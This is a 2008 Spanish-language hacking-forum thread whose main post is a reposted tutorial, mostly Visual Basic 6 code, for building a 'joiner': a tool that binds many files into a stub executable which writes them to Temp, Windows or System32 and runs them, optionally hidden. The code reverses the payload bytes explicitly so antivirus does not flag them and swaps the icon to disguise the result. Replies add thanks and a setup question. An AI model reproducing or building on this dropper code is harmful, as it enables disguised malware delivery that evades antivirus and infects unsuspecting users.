hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
05 de ſeptiembre de 2008, 11:43:00
Noticias: La 1era E-Zine de CPH ya fue liberada, encuentrala
Para ver este enlace Registrate o Inicia Sesion
> aquí

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  [Manual]Creando un Joiner: infinitos archivos
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [Manual]Creando un Joiner: infinitos archivos  (Leído 707 veces)
DarkWolf
NZ1
*
Desconectado Desconectado

Mensajes: 41



Ver Perfil WWW
« : 06 de Marzo de 2008, 03:07:42 »

Bueno pues les voy a enseñar como crear un joiner que junte infinitos archivos y como cambiar el icono,elegir la ruta de extraccion y el tipo de ejecucion(normal,oculto,no ejecutar)de los archivos.
Aqui tienen el source del mio:
Para ver este enlace Registrate o Inicia Sesion
Codigo Fuente de un Joiner


Tendremos que abrir dos proyectos,uno para el joiner y el otro para el stub.
El joiner es el que meterá los archivos dentro del stub,y este archivo con el stubb y los archivos que metió el joiner es el resultado final.
Si copias el manual,pon la fuente que está abajo del todo
Al eejcutarse,el stub se lee a si mismo y extrae los archivos y los ejecuta.
Ese es el funcionamiento basico jejejej.

JOINER

Primero abrimos un proyecto,y ponemos un ListView.
La propiedad view en lvwReport y las demás opciones a su eleccion,pueden mirar en mi source como lo tengo yo.
En mi caso,para añadir los archivos y editar las opciones lo hice con un menú,ya deberian saber como se crean.
Añadiremos un CommonDialog(Poryecto>Componentes>Microsoft Common Dialog Control 6.0) y lo renombramos a cd(por comodidad).
Para añadir archivos:
Código: (vb)
Private Sub añadir_Click()
Dim X As ListItem
  Dim j As Integer
contador = contador + 1    'contador para los archivos
cd.DialogTitle = "Seleciona el archivo"     'titulo del dialogo
cd.Filter = "Todos los archivos(*.*)"   'filtro de archivos(*.* es todos permitidos)
cd.ShowOpen   'mostramos el dialogo
If cd.FileName = "" Then Exit Sub     'si no se seleccionó archivo salimos
Set X = ListView1.ListItems.Add(contador, , cd.FileTitle, , cd.FileTitle) 'añadimos el nombre del archivo al lv
X.SubItems(1) = FileLen(cd.FileName) & " bytes"  'añadimos tambien el peso
ListView1.ListItems.Item(ListView1.ListItems.Count).Tag = cd.FileName   'en la propiedad tag guardamos la ruta(proque al ser larga en el listview qeuda feo)
Me.Caption = "- Dark Locker -  " & ListView1.ListItems.Count & " archivo(s)"
cd.FileName = ""

Si tienen problemas con el control lsitview,aqui hay dos tutoriales:

Para ver este enlace Registrate o Inicia Sesion
-Tutorial Control ListView


Para ver este enlace Registrate o Inicia Sesion
-Listview listado de ejemplos


Bueno esto el diseño y la presentacion es cada uno,yo guardo las rutas en los tags para mostrar solo el nombre,si quieren metan toda la ruta y ya verán mas adelante que han de cambiar una cosa por el tag y lo demás es lo mismo.
Vamos a añadir mas columnas,como las de Ruta extraccion y tipo ejecucion,y tambien mas menús,para estas opciones,asi elegiremos la ruta y el tipo de ejecucion.
Código: (vb)
Private Sub temp_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "Temp"
End Sub

Private Sub files_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "Windows"
End Sub
Private Sub start_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "System"
End Sub
Private Sub normal_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "Normal"
End Sub
Private Sub oculto_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "Oculto"
End Sub
Private Sub noejecutar_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "No Ejecutar"
End Sub

Bueno ahora,vamos a meter los archivos dentro del stub(aun no está creado)pero antes voy a explicar como funciona esto:
-Tenemos el stub,ahora lo que hacemos es poner una marca,luego un archivo,luego otra marca,luego otro archivo etc...
Osea quedaria así:  stub///archivo1///archivo2///archivo3...
-Ese seria nuestro archivo,al ejecutarse,el stub se leeria a si mismo y partiria por esas marcas(///)y sacaria cada archivo.
Pero como nosotros tambien meteremos las rutas de extraccion y tipo de ejecucion,tenemos que hacer más marcas,para separar tambien las rutas y el resto de informacion asique nos quedaria esto:
stub///archivo1###ruta1###ejecucion1
Y así con los demás archivos.

Veamos como meter los archivos y las rutas y ejecuciones:
Código: (vb)
Private Sub juntar_Click()
Dim i As Long, archivo As String, eso As String
Dim eRR As String
cd.DialogTitle = "Selecciona la ruta donde guardar"    'donde guardar el archivo resultante
cd.Filter = "Archivo ejecutable (*.exe)|*.exe"   'filtro,solo .exe(tambien se puede .pif,.cmd etc...pero bueno)
cd.ShowSave   'mostramos el dialogo guardar
If cd.FileName = "" Then   'si esta vacio mostramos un mensaje de error
MsgBox "Debe seleccionar el archivo a guardar", vbCritical, "Dark Locker"
Exit Sub
Else
dim stub as string    'abrimos el stub(mas adelante veremos como añadirlo como archivo de recurso)
Open "c:\stub.exe" For Binary as #1
stub=space(lof(1))
get#1,,stub
close#1
Open cd.FileName For Binary As #1   'abrimos el archivo en binario
Put #1, , stub   'ponemos el stub
Close #1

For i = 1 To ListView1.ListItems.Count   'recorremos el listado de archivos
Open ListView1.ListItems.Item(i).Tag For Binary As #1   'nosotros guardamos la ruta en la propeidad tag,si lo hicisteis en el primer elemento sacadlo de alli
archivo = Space(LOF(1))   'obtenemos el archivo
Get #1, , archivo
Close #1


Open cd.FileName For Binary As #1   'abrimos el archivo(donde se guarda el resultado)
 Seek (1), LOF(1) + 1 'nos ponemos al final
'aki vemos como ponemos el archivo y las opciones,añadimos el nombre para saber la extension y hacemmos StrReverse para k lo invierta y los AV no canten
Put #1, , "///" & StrReverse(archivo) & "##//1" & ListView1.ListItems(i) & "##//1" & ListView1.ListItems(i).SubItems(2) & "##//1" & ListView1.ListItems(i).SubItems(3)
Close #1

Next
MsgBox "Archivos Juntados!", vbInformation, "Dark Locker"
End If
End Sub

STUB:

Ahora tenemos que abrir otro proyecto para el stub,que será el encargado de leerse,extraer y ejecutar los archivos  Shocked

El funcionamiento es sencillo:
-Se abre y se lee a si mismo,con la funcion Split(partir)se parte por las marcas k pusimos y extrae los archivos.
Veamos el codigo:
Código: (vb)
'APIS y constantes para la ejecucion
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_HIDE = 0
Dim route As String
Private Sub Form_Load() 'al cargarse
Dim miTam As String, total As String, archivo() As String, contador As String, i As Long, name() As String
miTam = Space(20480) 'tamaño del stub,esto lo rellenan despues de hacer el codigo,lo compilan y en propiedades(clic derecho en el archivo)ven el tamaño en bytes
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1  'nos abrimos a nosotros
total = Space(LOF(1))
Get #1, , total   'y nos leemos
Close #1
On Error Resume Next
archivo = Split(total, "///") 'partimos el archivo por la priemra marca

For i = 1 To UBound(archivo) 'bucle que va desde el 1 hasta el total de archivos separados de la marca
name = Split(archivo(i), "##//1")  'vamos partiendo por cada marca para obtener el nombre(con la extension)
Select Case name(2)  'un select case con el nombre para saber k ruta es
Case "Temp"  'si pone temp
Open Environ("temp") & "\" & name(1) For Binary As #1 'abrimos en temp el nombre con la extension
Put #1, , StrReverse(name(0))  'lo ponemos(recoredemos k lo pusimos invertido,ahora hemos de ponerlo bien de nuevo con StrReverse

Close #1
route = Environ("temp") & "\" & name(1)
Case "Application"  'demas casos
Open App.Path & "\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))

Close #1
route = App.Path & "\" & name(1)
Case "System"
Open Environ("windir") & "\" & "system32\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))
Close #1
route = Environ("windir") & "\" & "system32\" & name(1)
Case "Windows"
Open Environ("windir") & "\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))

Close #1
route = Environ("windir") & "\" & name(1)


End Select

Select Case name(3)   'ahora con la siguiente marca que era el tipo de ejecucion
Case "Oculto" 'ocutlo
ShellExecute Me.hwnd, "Open", route, vbNullString, vbNullString, SW_HIDE

Case "Normal" 'normal
ShellExecute Me.hwnd, "Open", route, vbNullString, vbNullString, 1

Case "No ejecutar" 'no hacemos nada xD

End Select

Next i
End
End Sub



STUB COMO RECURSO

Ahora,en vez de "c.\stub.exe",el stub lo añadiremos como resource y cambiaremos eso:
-Ir al menú complementos, y elegir la opción " Administrador de complementos .
-Cargar el complemento que permite crear archivos de recursos, haciendo click en " Vb 6 Resource Editor ", y asegurarse que dice " Cargado

Ahora en la barra de herramientas de Visual basic, se añadió el complemento y lo podés acceder desde el siguiente ícono:

-Debemos usar en este caso es el botón " Recurso personalizado", haciendo click en el botón que indica la flecha como se ve en el siguiente gráfico :

-Al presionarlo, se abre la ventana para seleccionar los archivos, y elegimos los dos archivos de sonido. Luego la ventana se verá de la siguiente forma:

-Ahora ya se puede guardar con el botón " Guardar " ubicado en el toolbar del Editor. De esta forma se creará el archivo .Res ( Guardarlo en la carpeta del proyecto)

Para ver este enlace Registrate o Inicia Sesion
FUENTE


Bien,esto en el joiner(el cliente con el listview xD)ahora declaramos esto:
Código: (vb)
Dim recurso() As Byte
Y en el Form_load:
Código: (vb)
Private Sub Form_Load()
recurso = LoadResData(101, "CUSTOM")
Ahora cambiamos esto:
Código: (vb)
Open "c:\stub.exe" For Binary as #1
stub=space(lof(1))
get#1,,stub
close#1
Por esto:
Código: (vb)
Open cd.FileName For Binary As #1
Put #1, , recurso
Close #1
Y ya está,asi no hay que andar con el stub en ningun lado puesto que está como recurso en el joiner.

CAMBIAR ICONO



Añadid al proyecto estos dos modulos:
Para ver este enlace Registrate o Inicia Sesion (si no va el link posteadlo y lo cambio)
Y añadimos este menu:
Código: (vb)
Private Sub icono_click()
Dim eRR As String
On Error Resume Next
cd.Filter = "Iconos (*.ico)|*.ico"  'solo iconos
cd.ShowOpen
If cd.FileName <> "" Then
rutaicon = cd.FileName   'declaramos un rutaicon(Dim rutaicon as string)arriba del todo(en declaraciones)
cambiaicon = True  'añadid arriba del todo un (Dim cambiacon as boolean=false)
'esto hará de verificador para saber si se queire cambiar o no el icono
End If
End Sub
Y ahora al juntar los archivos,al final del todo(despues del ultimo next):
Código: (vb)
If cambiaicon = True Then
ReplaceIcons rutaicon, cd.FileName, eRR
End If

DESPEDIDA

Bueno espero que les haya gustado y sirva,lo he explicado lo mejor que he podido y pueden haber errores asique diganem si los ven.
Si tienen alguna duda ya saben  Wink
Tambien tienen arriba el source de mi joiner como guia.
Espero que puedan hacer sus joiners ahora,hasta otra!
Saludos.


FUENTE:
Para ver este enlace Registrate o Inicia Sesion
http://foro.code-makers.es/index.php?topic=220



PD: el manual no es mio es de un user llamado eric
« Última modificación: 07 de Marzo de 2008, 07:35:25 por DarkWolf » En línea


Para ver este enlace Registrate o Inicia Sesion

DarkWolf
NZ1
*
Desconectado Desconectado

Mensajes: 41



Ver Perfil WWW
« Respuesta #1 : 08 de Marzo de 2008, 05:40:37 »

Solo 7 lecturas  Undecided

 Cry Cry Cry
En línea


Para ver este enlace Registrate o Inicia Sesion

DarkWolf
NZ1
*
Desconectado Desconectado

Mensajes: 41



Ver Perfil WWW
« Respuesta #2 : 13 de Marzo de 2008, 09:43:01 »

Actualizado!
Agregué mas cosillas jejeje.
En línea


Para ver este enlace Registrate o Inicia Sesion

craker13
NZ4
****
Desconectado Desconectado

Mensajes: 1,012


No seas egoista, comparte la informacion


Ver Perfil WWW
« Respuesta #3 : 13 de Marzo de 2008, 01:04:46 »

hola que tal esta muy bien este tutorial de joiner pero me gustaria que post mas informacion sobre esto

    Smiley Smiley Smiley Smiley Smiley
En línea



clipto boxw
NZ3
***
Desconectado Desconectado

Mensajes: 561


CBX


Ver Perfil WWW
« Respuesta #4 : 19 de Marzo de 2008, 09:04:27 »

yo iba haciendo tod bien incluso ediataba el codigo a mi gusto. pero me qeude enredado aqui:
Citar
-Al presionarlo, se abre la ventana para seleccionar los archivos, y elegimos los dos archivos de sonido. Luego la ventana se verá de la siguiente forma:

y otra cosa: que no me qeudo claro:
Citar
Ahora,en vez de "c.\stub.exe",el stub lo añadiremos como resource y cambiaremos eso:
-Ir al menú complementos, y elegir la opción " Administrador de complementos .
-Cargar el complemento que permite crear archivos de recursos, haciendo click en " Vb 6 Resource Editor ", y asegurarse que dice " Cargado

eso lo hacemos en el stub on el joiner??
En línea

HACKERSLIBRES. ES
porque negar la ayuda a alguien o esque acaso tu nunca la has necesitado. el proposito de esto es que todos sepamos ya que la informacion es libre y para todos. si no lo crees asi eres un estupido
DarkWolf
NZ1
*
Desconectado Desconectado

Mensajes: 41



Ver Perfil WWW
« Respuesta #5 : 24 de Marzo de 2008, 10:48:09 »

En el joiner y para lo 1º mira la fuente  Wink
En línea


Para ver este enlace Registrate o Inicia Sesion

Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online